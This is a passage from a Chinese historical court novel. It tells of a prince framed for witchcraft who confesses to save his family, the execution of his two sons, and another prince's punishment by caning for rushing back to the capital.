她一拍大腿,“这就串起来了,施汜与他们合谋,撺掇宫里搜查,就查出了早就准备好用来陷害人的符纸,而宫宴那时他们陷害沈斫并未被清算,说明他们宫里有人,可以做成此事。元良常年不在京城,郡王府守备松散,他们预先藏入人偶,再由魏俊秋领人找出,冉先生和乔指挥使作证,就坐实了元良的险恶也洗脱了锦麟卫贼喊捉贼的嫌疑。”
沈磐看向沉默的张永一,“元良去过西南,这就成了他会巫术的验证。他们再在日期上做些手脚,做成巧合,便能将东宫也拖下水,于是水更混了,更能掩盖他们嫁祸元良的真实目的,一举两得。真是天大的一个局!”
张永一望着义愤填膺的沈磐。
这只是一场言语推演,或许是假的,但险恶的凡人心却比金子还要真。
车外街树上扑簌簌飞起一群老鸹。
开春暗夜乌鸦叫。
张永一记得小时候,梁国公主府的门房老大爷常说,这是要死人的前兆。
17. 第十七章 独丧人(七)
不出意外,一连三日,张永一都做了梦。
但他来不及沉湎和痛斥自己对沈磐的肖想,便要与所有牵绊元良郡王的人一同面对转瞬来到的三司会审。
这又是一场噩梦。
天气暖和了起来,兵部尚书霍辄也从老家回来,这样一来,他和史可平等人便不能去东直门甬道上探消息。坐在值房里,他只觉得烈火烧心,手上连支笔也拿不住,满目的军资账册上都写着元良元良。
小时候他与元良一家的往来更近些,自从突罹父母丧,他戴孝在家,接着又去军中历练,再远赴东北,几年来不过见元良几面,他家的小公子仪明更是岁末宫宴那晚才头一次遇见。
但听祖母讲起父亲的童年趣事,无处不是元良的身影。
在记忆里,元良郡王是一个除了血亲与战友之外,最亲最近的、永远在笑、永远温柔的陌生人。
张永一搁下笔。
史可平从案上探头,“这就想去吃饭了?”
张永一摇头。
“着急也没用。”他也扔了笔,吹吹纸上未干的墨迹,“结局都是定的,不过是通往结局的方式不同而已,误不了多少。”
张永一皱眉。
史可平直起腰,隔着两人的桌子看向他,“张老弟,有些事情真的是命数,你急不来。”
他不假思索答:“我一向不信这个。”
“嗐,那是因为你没真的碰到这种绝路。”
房外传来一声过午的锣响,史可平即刻站起,伸个懒腰。
他话中懒散:“我这辈子还没去过军中,所以干到五品便是头,张老弟你是从战场上下来的,你的前途比我大,但我虚长你将近二十岁,人活到现在,有些阴沟里的蛆虫事儿你没见过,可我亲历过,你得信我。”
张永一起身,理理官袍,随他一同往外走。
“实话说,我也不信命,但有时候,这世界就是个破落的戏班搭起来的小戏台,就算是假菩萨也要当真的拜,显个心诚。”
史可平说得云淡风轻,正午的光一照下来,他更松快得像府里散步消食的大爷。
“你听得出我是南方人,哎呦,还是那江南道苏州府的呢。”
“好地方。”
史可平一笑:“是啊,天堂之地。”
张永一直觉他笑中含悲。
果然他开口道:“我娘是长洲县里高门大户的奴婢,后来怀了我,便被赶了出来——所以我是他们口中的‘奸生子’。”
张永一心一沉。
“没人要她,她又本来就是个孤儿,被卖进了高门。带着我出来,遇上了打劫的,身无分文,连贼都不看她,乞丐都嫌她吃得多要养我。然后她又被人伢子抓了,四处发卖,她刚生了我,谁也不要。最后一家药堂买下了我们,用来试药。”
他们应该去伙房吃饭的,却神不知鬼不觉地溜到了西门。
刑部门前还是人堵人。
“于是她死了,身上没一块好的。”
一个女人的一生,便在这样的一句话里结束了。
张永一看着史可平,他抱着自己的鼓鼓的肚子,就像是抱着自己的前半生。
“我是黑户,不久又被偷了,又被转卖,卖去了浙江。那时候我已经五岁了,大字不识一个,却还记得她姓‘史’,路过一个小孩儿都要骂我狗屎。第一个主家没多久犯了事,我又被转卖,卖到了第二家;第二家又犯了事,他们家里的妇孺遣散了下人,我便开始流浪。我又瘦又小,还生着病,人伢子不要我,流浪抢不过那些‘老’乞丐,大冷天饿得走不动路。”
刑部门被推了开,如故是一顶素布小轿,抬着元良郡王继续往宫内幽禁处走。
“乌鸦都在边上等着要吃我。”
冉琢明从刑部门内走出,一边的大理寺卿陶识礼与左都御史梅依径都面色灰败,与昂首挺胸的魏俊秋作别,眼看着锦麟卫和羽林卫的兵甲押着元良又要远走。
“那时候不知怎么了,我突然有了力气,便爬到河边。冬日里杭州的河不结冰,正方便我投水自尽,却被人救了下来,带回家里,让我叫他叫一声‘爹’,当他养在老家乡下的儿子。”
“然后我就有了一个破碎的家,他在衙门里当差,天天给青天老爷端茶送水,人来磕头,人去磕头,腰都弯了。我问他干什么养着我废钱,他说他这个年纪没有出息娶不上媳妇,养个儿子当慰藉。我说,他有这个闲钱养儿子没钱娶媳妇?”
史可平一笑,“你知道他说什么吗?”
张永一定定看着他。
“他说啊,小时候有人给他算过,说他克父克母克妻克子,生来就是遭罪的命。活到他那个岁数,这些谶言都应验了,以前还汲汲于功名,后来就看淡了,但日子过得无聊,又想着是上辈子造孽这辈子遭灾,便大发善心,想为下辈子积德。他供我吃喝,还供我读书科举,也不求我有什么大出息给他大富大贵,只想着逢年过节给他烧点纸钱,便算圆满。”
史可平笑:“他这辈子也就这么完了,变不了一点,却给我取了‘可平’之名。”
史可平,时可平,什可平,事可平。
“张老弟,在江湖,命就是天,在庙堂,帝就是命,天命不可违。”
张永一看他半晌。
他的言辞坚定,口气却戏谑无比。
**
第二次三司会审依然以失败告结,又定三日后再审。比先前有所进展的是,三司齐齐否认“绝生人咒”的说法,拿着那对羽毛做筏,硬是将各种说法都打回了原型。
张永一不知这里是否有东宫的授意,毕竟否决了“绝生人咒”,那就是要默认怀疑东宫残害手足的嫌疑,这是天大的麻烦。
牛马巷隔日就被京兆府查了个遍,那伙刺杀长平公主的贼人愣是连根头发都没留下,不过京兆府出兵不是因为公主遇刺,毕竟沈磐名义上还在襄阳侯府思过,那就只能以牛马巷里的瘾君子为切口,毕竟这些东西在大楚都是禁物。
大家好像都走投无路了。
好像史可平所说的“命”,正要降临在元良郡王府。
第三次三司会审又如炉中烟灰,一瞬而逝。
元良郡王的身世被挖了出来,作为逆王之后,与巫蛊沾上边的元良好似真的走上了绝路。
梁国气得吐了血,张永一只能告假在家侍奉。
三司唯一从元良旧事里找出的新意,恐怕就是被视为郡王妃李舒檀遗物的那块手帕。
因为元良郡王的亲姑姑,叫作沈明檀。
他们一边否认了“绝生人咒”,一边又挖出了作古多年的长英公主,元良好像没有在谋害皇帝,却又好像谋害了与皇帝血脉相连、恩义相通的至亲。他在三司那里好像减了罪,在御书房那里又反而被判了凌迟。
察院有年轻的御史一时脑热,上了封奏疏,结果当天就被革职还家。
奏疏里说着,升平朝的长安霍氏一族以簪缨之身行不仁不义之事,助纣为虐,乃至鼓动逆王逼宫造反、混乱朝局、动荡天下,最后几近族灭、自食其果,只留下了霍辄这又偏又远的一支苟延残喘。然则流放苦役并未彻底净化霍氏残族的野心,而今重整旗鼓的霍家人死性不改、乃至阴谋报复,暗中联系逆王遗孤元良郡王,意图搅弄风云、颠覆朝野,继而为手中傀儡陈王铺路、窥伺神器。元良郡王忠君重恩,不愿顺从,这便招致报复,几近家破人亡,现请陛下开眼,为元良诉冤。
**
沈仪臣被带出去的时候,这本奏疏便被扔在了元良手边。
元良恭谨拜服着,不敢起身,也不敢用余光去瞟这本用漂亮的馆阁体写就的陈情之言亦或是不加掩饰的恶语。因为他能感受得到,九五之尊的皇帝就坐在正殿上,正目不转睛地“赏玩”着他的仪容狼狈、衣冠寥落。
呼风唤雨的当权者不施仁爱怜悯的目光总是饱含“赏玩”之意的。
这是种什么样的心情?
能够镇定地接受打量、能够镇定地去打量一个人的落魄。
“捡起来看看。”
“臣遵旨。”
永济帝依然看着他,看着他从最先的泰然从容转变为后来的惊惧觳觫。他合上了奏疏,闭上了眼睛,连心里苦苦支撑的求生之门也“啪”地关上。
“马上就会有第四次会审——”永济帝目光渺远,“第四次啊,永济一朝到现在,不,哪怕是大楚开国以来,也没有三司会审开了三次也没定下的案子。”
他托着奏疏弯下腰。
“元良,我们待你不薄。”
他以头碰地,声音也砸上这冰冷的地砖:“陛下待臣满门上下都恩重如山。”
永济帝嗤笑:“如山啊?可朕从不知道,这种恩情能和山比拟,更不知道你在朝中居然有这么大的感召。冉琢明替你说话,梅依径、陶识礼,那些个方继昌、房桂稻,还有郇翾、梁国、宋国,朕的姐妹、朕的儿女乃至多少年不问世事的临川郡主。在朝中,在宫里,你更像一座山。”
“君明臣直,冉首辅他们都是直臣忠臣,他们是在为了公心正义说话,不是为了臣凋敝之身。”
“公心正义?”
听着他这些腔调十足的诚恳之辞,永济帝端详他的背影良久,方才笑中含苦地道:“而今,这些虚与委蛇又不失礼数的言辞,你也用得极其自然了。你应该早就忘了,那时候你还是个纯善无知的孩子,朕好像还抱过你,是在千秋阁吗?朕记不得了,你也记不得了。”
可现在,他们一个高高坐在明堂之上,一个匍匐狼狈跪于长阶之下,君臣之隔犹如天堑,他们互处彼岸,遥而不能相见。
元良听得出他话中的惋惜追念,一个凌空御风、金刚不败的帝王,他的惋惜和追念直如过路的宝马香车里的贵人、施舍给朔朔北风里流离失所的乞丐的那一粒铜板。捧着这样的恩赐,乞丐要以头抢地念上千万遍大恩大德,他元良也该谢的,谢他的君王心中认为的自己,一直是婴儿堕世时最干净纯洁的刹那。
可没人是天生的乞丐,贵人造就了乞丐。
也没有婴儿生来就想入世厮杀。
元良轻轻摇头,“不,臣记得。”
如果他敢抬头,一定看得见永济帝眼中飞掠而过的复杂。
元良直起上身,惋伤叙道:“臣从小就不开智,举止笨拙,心智更晚于同龄
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,没有人愿意和臣玩耍,哥哥姐姐,堂哥堂姐,没有一个愿意带我玩的。那夜在千秋阁,他们都围着陛下与秦王叔听故事,秦王叔抱了沈磬,沈砺又闹,王叔忙不过来,只有陛下看见了臣,招臣过去……”
谁是沈磬、谁又是沈砺,谁是谁的儿子、谁的父亲又是谁,永济帝早就忘了那些连白骨都留不下的同姓,可元良清楚,如同清楚自己的名字叫“沈硎”一样地清楚。
他抬头,眼睛里全是追忆,“陛下没有抱臣,但陛下记得臣,臣便好似得到了被拥抱爱护的温暖。”
永济帝的视线铜球似的滚了下去。
“臣那时候没有朋友,只有一对鹦鹉视臣为‘哥哥’,臣便记得入了宫,要去会会他们。可天黑了,没有人愿意带臣去。最后,是郇侯陪了臣,在路上臣又交到了最好的朋友……”
这个“郇侯”不是郇翾,而是郇寰。
永济帝很多年没有听人提起郇寰了。
或说起郇寰,总是在谈论他姐姐沈明枳时顺带一句。
连郇翾都不怎么说起他的大哥。
永济帝很少会想到他,可甫一听见他的名字,少年时代与阿姐的点点滴滴都霎时间涌入脑海。那是他人生半百以来最美好的一段时光,可现在重新尝来,简直苦胜黄连难以下咽。
太苦了。
太痛苦了。
就像眼前的元良。
“臣太高兴了,终于有了朋友……”
他流出泪来。
“臣什么都很宝贝,童年的三轮鸩车,王府外买来的纸人风筝,仪臣和仪明,他们都是臣的宝贝。臣最宝贝的,莫过于朋友,他们是我生命里的珍宝。”
“臣做什么、出了什么事,也不会伤害他们!”
“他们是臣最宝贵的朋友!”
“他们甚至可以比臣的性命还要重要!”
元良苦望向他。
“但火火与蓝蓝死了。陛下你知道吗,是谁杀了我朋友?”
永济帝阖眼。
“是我姑姑长英!我那菩萨一样的小姑姑,她能在某月十四那天随手救下一个乞儿,却又狠心拔掉他们所有的羽毛!他们是禽鸟,但也是两条生命啊!”
永济帝霍然睁眼。
“陛下!臣恨啊!”
元良重重磕头。
“臣恨他们啊!臣甚至觉得火火和蓝蓝受了这样非人的折磨,这辈子应该就投胎在仪臣和仪明身上!让臣用一辈子去弥补他们!父母爱子,臣更爱挚友!他们杀了我的朋友,与他们沾边还要危害吾儿,我怎么可能要替他们报仇!”
殿内只剩下元良越发沉闷的磕头声。
金砖上都落了血。
永济帝闭眼。
他也恨啊!
他恨死了这些蛊惑他、引他铸成大错的恶人!
他恨不得剥了、剐了他们!
他心口的血也和元良额头的血一样红。
可是——
元良还在哭,就像当年那个七八岁的孩童,可他说的话,早不是一个痴儿能够想得到的,他还在恳切道:“陛下,臣知道,君王的威严就是朝廷的脸面,事已至此,陛下一定要给文武百姓一个妥当的交代。”
可是啊——
皇帝怎么会错呢?
皇帝怎么能错呢?
巫蛊之案如撑天袭地之风雪,六部九司公侯卿相通通波及其中,现在说一句话,他们英明神武的陛下错了,错怪了纯善可怜的元良,被小人奸佞蒙骗!
这怎么行?
这怎么可以!
呼风唤雨一辈子的人,也要被他招来的风雨吃尽血肉。
三司那些一根筋的不明白,亲军卫只是他的爪牙,平头百姓更懵懵懂懂以为真又出了巫蛊大祸。所有人都逼着他要继续走,继续走这条不归之路、染血之路、凿空仁义恩情之路、慌祸败乱之路。
这条死路。
可他是九五至尊的皇帝啊!是非对错都掌握在他的手中,天下江山更只是他一人的玩物,他怎么能这样狼狈地、颜面丧尽地谢罪就死!
但这件案子,必然要用人命了结的!不是他,就是元良,不是元良,就是他。
只能是元良。
只能是他沈硎。
畅春园密谋的那些人手眼通天,如何不知道自己三缄其口,从未在宫里胡乱说上什么,更兼自己也不知道他们的底细,乌龟似的性子更催着他逃,那些秘密让天下人听见都远不如让他听见来得稳妥。
可他们就是要杀了他,不惜大费周章地布下这样的天罗地网。
所有人都为了杀他奋不顾身,奋不顾身只为了杀他这样一个无权无势、鲜有争心的懦夫。
元良忽然就释然了。
他从没想过自己会活这么久,久到他第一个认识的朋友张养元去世了,他的儿子张永一都长大成人,而他还活着。
若不是当年兖国公主救下他,他早就跟着自己的父母叔伯、兄弟姐妹一同死了。
而今不过一命还一命。
以保君王的威信,以免兖国公主泉下失望。
可他的亲朋故旧,他的孩子,都是无辜的。
18. 第十八章 独丧人(八)
坚定了决心,元良再拜道:“陛下,三司不懂陛下的难处,朝臣也不知陛下的艰辛,但臣受辅国长公主恩情,敢想替陛下分忧——”
永济帝的眼珠动了动。
“请陛下赐臣一死,臣自写认罪书,是为‘畏罪自杀’,又或者过法司之堂,臣当堂认罪,绝无指使,与霍大将军毫不相干,全是臣一手谋划。但臣求陛下放过臣的孩子,他们懵懂无知,忠心侍君,实在无辜。”
良久,上首传来一个君王深深的叹息,像是这座筑基不过三十年的启新殿在叹息。
元良知道,他答应了。
他想起一事,接着恳求:“臣此生别无他愿,唯有一事未了,还望陛下成全。”
“说吧。”
他果然答应了。
此时此刻,他无所不应。
元良苦笑:“王府正堂供有一把名叫‘除秽’的宝剑,那是臣的故友张养元的遗物,臣请归还其子,不使蒙尘。”
**
沈仪臣跪在殿外最高一级台阶上,永济帝出来时,正好看见十来岁的少年朝自己脚下恭谨下拜。
这是元良的孩子,有几分幼年时尚未开智的小元良的模样。
过年时听元良说,沈仪臣不喜欢读书,也不喜欢刀枪,就爱侍弄些花草、打理些飞禽,当真也像极了从前那个傻愣愣能和鹦鹉当朋友的元良,又或者真如元良所说,他是受了拔毛剔羽之痛的鹦鹉转世。
飞禽最爱自由。
上辈子失去了羽毛,这辈子变成人在地上走。
永济帝停在他身前,在他抬头时,伸手轻轻拍了拍他被冻红的脸颊。
小时候的元良应当也曾呆呆地被冷风冻红脸颊而不知道哭,任由偷奸耍滑的下人糟蹋他,而他的爹娘一心都扑在他那些聪明伶俐的哥哥姐姐身上,又或者忙着升平朝的夺储纷争。他开智晚,晚到同龄的孩子成了精怪,他将将明白了人伦道义,将将长成了少年。
但其实那些道理,他心里都明白的对吧?
永济帝端详沈仪臣,不禁叹道:“好孩子。”
沈仪臣似是得到了莫大的鼓舞,眼里都闪着光亮。不过他不敢直视他的陛下,等他看过去时,永济帝早已经走远。
**
梁国长公主独自进宫时,张永一还在兵部坐堂,听义然匆忙跑来,以为是祖母在家中出事,结果一出西门,就见梁国长公主由老嬷嬷搀扶着,在东直门甬道上慢慢走。
冠帔美甚,更似华丽的寿衣。
“祖母!”
梁国大喘着气,一见张永一模样整齐,略得宽慰地伸出手,“来,扶祖母去东直门。”
“您这样身体受不了……”
“络儿听话。”
张永一搀上梁国的手。
她的手凉得可怕。
“祖母,你的手?”
梁国红着眼圈,“心是热的就好。”
东直门甬道漫长无尽。
“络儿,元良不是我的孩子,却又像我的孩子。你们都不在时,是他来陪我过年,是他常常来看我,他是什么样子,我最清楚了。”
她步履蹒跚。
宋国长公主已经远远等在了东直门。
“这丫头,居然比我来得早。”梁国笑了笑,撑着张永一的手想要更快地往前走。
再快一点,或许仪臣和仪明还有救。
可梁国对张永一道:“她绝对吃了闭门羹。太子被骂,首辅被停朝,襄阳侯他们都被申斥……我和宋国与陛下都不亲近,他不会听我们的。”
“祖母……”
“可我总该为元良做些什么,我这可怜的孩子……”
她眼眶一湿,滴下泪来。
“我可怜的元良……”
东直门近在眼前。
宋国长公主刚哭过,勉强扯了一个笑,刚要安慰梁国,就听身后门内一阵轻响,回头就见千捧万簇中走出一个老太太。她精神极好,比身边一左一右搀扶她的一对中年男女还要好,但她脸上的哀沉比他们还要深。
“临川姐姐。”
临川郡主拉住梁国,“元良认罪了。”
梁国哑声问:“陛……陛下他……”
“他早就变了。”
梁国的眼泪止不住落下来。
临川叹息:“又或者,他从来都是这样。”
梁国浑身颤抖起来。
“平涯、静潭,帮着扶好梁国长公主。”
张平涯和张静潭各自走到两边,这才露出他们身后尾巴似的远远缀着的沈磐。
她也哭过,像个束手无策的孩子一样大哭过一场,肿着眼睛,手上的伤还没有好,心里又开始流血。
临川转身走到她身边,牵起她紧攥的手,“你也叫长平。”
沈磐默默点头。
“刚才你在陛下面前那样袒护元良,陛下很生气,你回去要主动‘思过’——你才定了婚,惹了他生气,以后会有很多苦吃。”
看着沈磐像是又要被自己的话激出眼泪,临川轻笑:“不是你的错,也不是你们的错。”
沈磐侧过脸,一滴泪就这样落在了阴影里。
“有两个叫长平的人这么爱护他,他应当很高兴。”
临川声音哽咽,看见沈磐流泪,更觉得自己的心四分五裂。她们多需要一个坚强安全如沈明枳般的肩膀,可是上穷碧落下黄泉,两处茫茫皆不见。
“也好——”
沈磐低头看向她,她双目失神,似是被抽走了魂魄,躯体兀自喟叹:“也好,免得仪臣、仪明成为他宝贝儿子跟前下一对元良。”
沈磐一怔,越过临川郡主就见,梁国长公主一口血喷了出来,瘫软在张永一怀里。
东直门前乱成一团。
**
那天陛下见过元良,沈仪臣就被带到了刑部,第二天就是第四次三司会审。
元良认了,全都认了,认下了绝生人咒,认下了永济初年他对皇帝心有不满,但他早已抛却这些怨念,早已心悦诚服于陛下的恩德感召,他求陛下宽容,饶恕无辜稚子和诸多故人。
三司并没有直接给出刑判,而是将元良又送回了启新殿,又要等陛下圣裁。
三司是不信的。
但元良已经认罪。
而晚间,随着圣旨传出来的就是元良伏诛的消息。
他的死讯。
内监来刑部宣旨时,沈磐才在御书房跪过。
她的胆子当真包天,当着皇帝的面,也不说告退,也不求起身,一提皱巴巴的裙摆就冲上了东直门。宫中不允急行的规矩她都记着,此刻却刻意忘得干净。临川郡主好意劝她向陛下服软,她正和自己的君父谢着罪,这便要前功尽弃,更功难抵过。
但她真的什么也不在乎了。
因为沈仪明也被带到了刑部。
刑部的大门空洞洞,像一头吃人的恶兽。
冉琢明如果还在这里,他应该会拦旨,会和这头恶兽死搏。
可是首辅停朝在家,乃至三司会审陛下都没让他出席。
沈磐不顾阻拦,硬是赴死般慨然闯了过去。
跟着监刑的内监,她便能知道沈仪臣兄弟关在何处——
那已经不见天日的死牢。
这里又湿又冷,外头天色已暮,漏进来的光都是血红色夹着腥气的。
小时候沈磐在慈悲寺听过佛陀讲经,此刻便看见了九幽炼狱。
地狱变人间。
沈仪明站在那片血色夕阳里,永远闪着星子的眼睛远远望着自己。
一见到自己,他就会欢快叫“姑姑”,钻进自己的怀抱使劲地撒娇。
此刻他却如同一个哑巴。
沈磐看向堵在门口的内监,黑漆木盘里呈着雪白的绫缎。
她一愣,看向沈仪臣和沈仪明,一大一小牵着手,竟丝毫不见胆怯。
一口恶气逆反而上,沈磐拼命咽着,血气被压了下去,眼泪又被激了出来。
她一把推开那些监刑的内监,又被锦麟卫的长刀拦在了牢门。
魏俊秋从影子里走了出来,他一走出来,牢外的血色都被稀释得淡薄。
“公主,进去就是抗旨。”
沈磐恶狠狠回瞪:“不劳魏指挥使费心!”
“姑姑!”沈仪臣却忽然叫道。
他还未变声的嗓音是抖的。
“谢谢姑姑来送我们。”
沈磐的指甲深深陷了进去,才好了些的伤口又冒出血来。
他松开弟弟的手,朝内监弓身一礼,“臣沈仪臣领旨谢恩,吾皇万岁。”
说完,他起身走向最边上沉默不语的两位刑部侍郎,“能否换个地方,我想在最门口。”
内监和魏俊秋的脸色都有些古怪。
冉琢明不在,圣旨在上,两位刑部侍郎不敢拿主意,恻隐心催他们去答应这知礼守矩的少年,可功利心逼他们置若罔闻退身自保。
对上沈磐眼里的狠绝,魏俊秋朝内监点点头,内监只能退后一步,“世子请吧。”
甬道里的沈仪臣瘦弱得像一片羽毛。
沈磐喃喃道:“要一壶酒,最烈的。”
这下连两位侍郎的脸色都开始古怪。
“听不见吗!”
被沈磐吼了一声,内监看向魏俊秋,魏俊秋黑亮的眼珠正盯着沈磐。他早年过半百,或许年轻时温柔和煦像个尽可依靠的儒生,现在只是一个阴险刻毒的老头。
沈磐一步走近他,“只要结果一样,只要能交差,指挥使何不送本宫一个人情?”
魏俊秋欠身后退一步,“公主的人情,下官送不起。”
“是不屑送吧?”
魏俊秋一眼看尽沈磐的挑衅。
“本宫也就罢了,那霍开武呢?他马上就要成为本宫的驸马,他的人情你送不送。”
魏俊秋面色不改,却是再退了半步,退到了更浓更重的影子里。
边上的锦麟卫即刻出去买、去借、去抢、去取来一壶烈酒。
不过片刻,酒就交到了沈磐手
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锦麟卫也尽数退到了尽头,匿入黑暗。
沈磐拖着千钧重的脚步,揽住了沈仪明。
“来,仪明,把它喝了,喝了就不怕了。”
沈仪明闻得见烈酒的腥辣,他知道这是什么,且刚才就听过了。
可他用自己的袖子揩揩沈磐的眼泪,“姑姑,我不怕。”
沈磐的眼泪忍不住决堤,她再将酒壶抵到他嘴边,他却推着她的手,“姑姑,我不喝。”
“乖,仪明——”
“姑姑不哭。”
沈仪明避开酒壶,却又给她擦泪,“姑姑乖。”
他擦得那样小心,生怕擦花了沈磐仔细打扮的妆。
可她哪有心思化妆?
沈仪明兀自格外小心,像是要将姑姑在这大牢里的污浊全都擦干净。
他的姑姑是那么爱美爱干净的女子。
他是一个孩子,又像一个大人。
沈磐抱着他大哭起来。
“姑姑,你的手流血了。”
“姑姑疼吗?”
沈磐还在哭。
“哥哥说这里闷,所以他想到门口,能更快些追上爹爹。”
“姑姑,仪明以后不能保护你了,姑姑要自己坚强!”
“仪明来不及见堂叔,姑姑代仪明向他问好,问他字练了没,腿好了没,有没有好好吃饭长高——仪明好想让堂叔再抱抱我。”
沈磐突然来了力气,但依然踉跄,“来,姑姑抱。”
沈仪明“哈哈”笑了,紧紧搂着沈磐的脖子,蹭蹭她泪湿的脸颊。
她身上的香气,还是那么让人安心。
“姑姑要好好的,不要想仪明哦。”
**
长城外雪高一丈,长城内雪深一尺,宁远城内冻死了不少懒汉乞丐,旧房子、破萝棚也塌了一片,檐缝里做窝的麻雀也成了冰汤圆。
东北的雪还是很大,化得很晚。
昨暮沈斫还和兵士一起彻夜扫雪,今晨就在南下归京的马背上。
自宁远至化隆,化雪三千里。
越向南,天气越暖,沈斫的心越凉。
化隆近郊还是一望无际的枯萎,天是枯萎的,山是枯萎的,河是枯萎的,树是枯萎的,花是枯萎的,人也是枯萎的。
一切都是枯萎的。
来时不是大雪,去时就是冰冻,他已经很多年没有见过这个时节的化隆。
记忆里过了严冬,过了节,平原上的墒情就蠢蠢欲动,三哥骑马带他出城,沈磐坐在车上,路两旁葱绿的麦田一天一个样,翡翠样的春浪吹着迟来的谷雨,一眼望不到边。
然后就是酷热的盛夏,洒满落叶的金秋,八方四季都被织成锦缎,穿在沈磐身上。
最后又是一个深冬,一个孤独的年。哥哥们要带着被打扮成天仙的沈磐,出席这样那样的豪宴奢会,而他一个人缩在不点灯的演花殿。
元良会来看他,每次都会带来各样的把戏哄他开心,然后有一年,他带来了仪明。
仪明从小就是个缠人的娃娃,要他抱,要沈磐抱,要哥哥抱,还要父皇抱。
他的小嘴能让所有人抱得高兴,像在抱一块肥肥的元宝。
沈仪臣最高兴抱着他走,带他去御花园里猛扎草丛。启新殿是永济初年重建的,被大火烧没前它叫薜荔殿,因着殿后长了满满一墙的薜荔,有山鬼雅思。沈仪臣最爱那个地方,一呆就是好久,仪明陪着闷,便自己跑了,跑得到处不见,那次真的将元良的魂都吓飞了。
后来是沈磐找到的他,发现这小子居然自己回了东宫,在梅园里折了梅枝数花瓣。
他必然知道哥哥爱惜花木,被他知道一定会喜提臭骂冷战一顿。
但他一个人玩得忘乎所以,在雪上摆了各种纹样,有江河山峦,有珠玉宝贝,还有沈磐衣裳的花纹,花儿草儿、日月星辰。
每每回想起这些,沈斫都要昏睡过去。
南下的路很不好走,整整五天不眠不休,带着那张《快雪时晴帖》,精心打造的袖箭装在臂下护腕,蓬头垢面,胡茬处处,衣裳都汗透了发着馊。
他不敢闭眼。
一闭眼就是元良一家的笑脸。
一闭眼就是那些年。
随着年岁渐长,有很多事他都忘了,他舍不得,故而时时复习、事事强记,在回忆中当上了最勤奋的学子。
化隆已经入夜。
府军卫打折了马腿,沈斫翻滚落地,可他就是爬也要朝刑部的方向去。
他们敢杀燕王的坐骑,但终究不敢向燕王挥刀。
他不知哪里来的勇气,爬起来拔足就沿着东直门甬道狂奔。
右边都察院的御史探出头来。
左边刑部的正门就訇然洞开。
一具蒙着白布的尸首被锦麟卫抬了出来。
随后是第二具。
一个是少年,一个是小孩。
沈斫咽下逆反而上的血气,扶着刑部门前的不知是貔貅还是獬豸跌跪下去。
19. 第十九章 莫平意(一)
未蒙传召的亲王私自回京,这是形同谋反的重罪。
这夜,几乎所有人都被惊动了,与东宫有交的内阁、六部、九寺、公侯等,跪在御书房外、东直门上,恳切求情。
这个时候的化隆早不应下雪,可大雪落满了跪求者的肩头。
这是死罪啊。
还是几乎求不得情的死罪。
沈斫昏过去,才被长缨卫抬回东宫,灌了热米汤,太子亲自动手给他擦了身子洗了头发,半个时辰后,绕过内阁的手谕就送到了丽正殿。
这是太子沈碣第一次,正大光明地没有任何合理借口地违抗了君父的命令。
他披了衣服,将那些人一一扶起,回来就直接守在了沈斫床头,一直到沈斫被噩梦惊醒的五更天。
这次来东宫的是阴阳卫,乔晏亲自来的,要提燕王上承天殿。
在这寒风凌冽的晨夜之间。
沈斫清醒地穿好了亲王冠带,去偏殿看过醉酒深眠的沈磐,垫了些汤饼,然后跟着太子走出东宫。
他很少这么正式地在皇城游走,更别提这样上承天殿。
他也从未意识到,这说大不大的外城,居然能有这么多官员夹道相望。
在承德大街,他看见了张永一。
张永一也看见了瘦了许多的他。
过了承德门就是承天殿广场,可羽林卫传下旨意,让他在门外等。
文武百官鱼贯而入,承天殿左右的文正、武英二殿也下了灯。
沈斫遥望飞雪中的宫城。
多么巍峨、多么雄壮的所在,他站在这里,就像一只蝼蚁、一粒微尘,圣人一指轻弹,他就要灰飞烟灭。
亲王的袍袖猎猎生风。
他却单薄如纸。
张永一望着他,一直望着他,陪他一起等承天殿上的旨意。
似是早就料到了会是这个结局,他连氅衣都没有穿,又从容地解下外袍,趴在刑凳上闭上眼。
今天掌刑的是乔晏,他握着三尺五寸的荆杖,目露不忍。
十二卫中有掌刑专人,颇擅行刑之中的功夫,三十两养一个月、略伤筋骨,六十两只伤皮肉,不用一个月就好了,一百八十两受刑当晚即步履如常。
但乔晏一入行伍就是往指挥使培养的,这种鞭杖底下的功夫是不用也不会去练的,他只管下令,不管行刑。他又没有真的上过战场,就算上过战场,手下的轻重也只止步于杀人与不杀人,这种门道是绝对想不到也绝对没必要去琢磨的。
将沈斫交到他的手上,简直是在拿命赌。
他们都是支持东宫的,便也可怜至情至性的燕王。
但陛下的心思让人捉摸不透。说是要保护燕王,可又让他来行刑,说要打死燕王,更又让他乔晏来行刑。更兼这些年的流言蜚语,都让人不敢擅自揣度帝王之心。
并且啊,陛下定了五十杖。
杖不上五十,这算是心照不宣的规矩,过了五十,手上功夫不到家,身子骨不硬朗,极有可能一命呜呼。永济年初,公然有人违抗圣令冥顽不灵,陛下气极定了七十,二十杖还没下去,人就没气了。
燕王昼夜奔波,昨夜晕厥在刑部门前,今日绝对是受不了乔晏这不知轻重的五十杖。
张永一眼看着乔晏掂量着手中刑杖。
五十杖啊。
一条命。
沈斫的命。
也是太子的命。
更是沈磐的命。
张永一吊起一口气。
史可平突然悄声问:“你说,陛下还要不要这个儿子?”
张永一震惊。
史可平戳戳他的胳膊,让他去看周遭早就吵成一锅粥的官吏,其中不乏察院的低阶御史和位卑权高的六科给事中。
史可平道:“我看啊,陛下是想保燕王的。”
张永一转头看向刑凳上的沈斫。
也许吧,没有把沈斫交给内阁、三司和天下悠悠之口,或许是在保他,毕竟他犯的是死罪,天下没有几个皇帝能够容忍这样的臣子,父亲也不能容忍这样的儿子。他是太子的弟弟,代表了太子,言论一起,天知道为了颠覆东宫的野心人会怎样攻讦,褫夺王位、贬为庶人、乃至枭首示众都不是一句虚语。
陛下只用了五十杖。
五十杖就能将所有事端恩怨一笔勾销,就能彰显君父的无上仁慈。
张永一微怔,不知道自己怎么会这么去揣测永济帝的心思。
太不该了,用这样肮脏险恶的心思去揣度那个孤寒艰难的君王。
可一念及此,张永一心里就揉了沙子,越发难熬。
乔晏已经按照承天殿上的意思,高高扬起了刑杖。
既要打得皮开肉绽,又不能真的取了沈斫性命——乔晏应当从未遇见过这样的难题。
第一杖落下去时,沈斫的身体颤了颤。
他一声不吭地绷紧了肌肉,又听见了乔晏的叹息。
然后是第二杖。
前排的老臣都闭上了眼。
行伍中领军法时,张永一看过行军棍的场面,打得大多雷声大雨点小,动不动就是百余下,军士嚎得仿佛天都垮下来塌在他身上,但修养上十天半月就能行动自如不伤根骨。
但乔晏只打了这几杖,张永一就已经不敢再看下去。
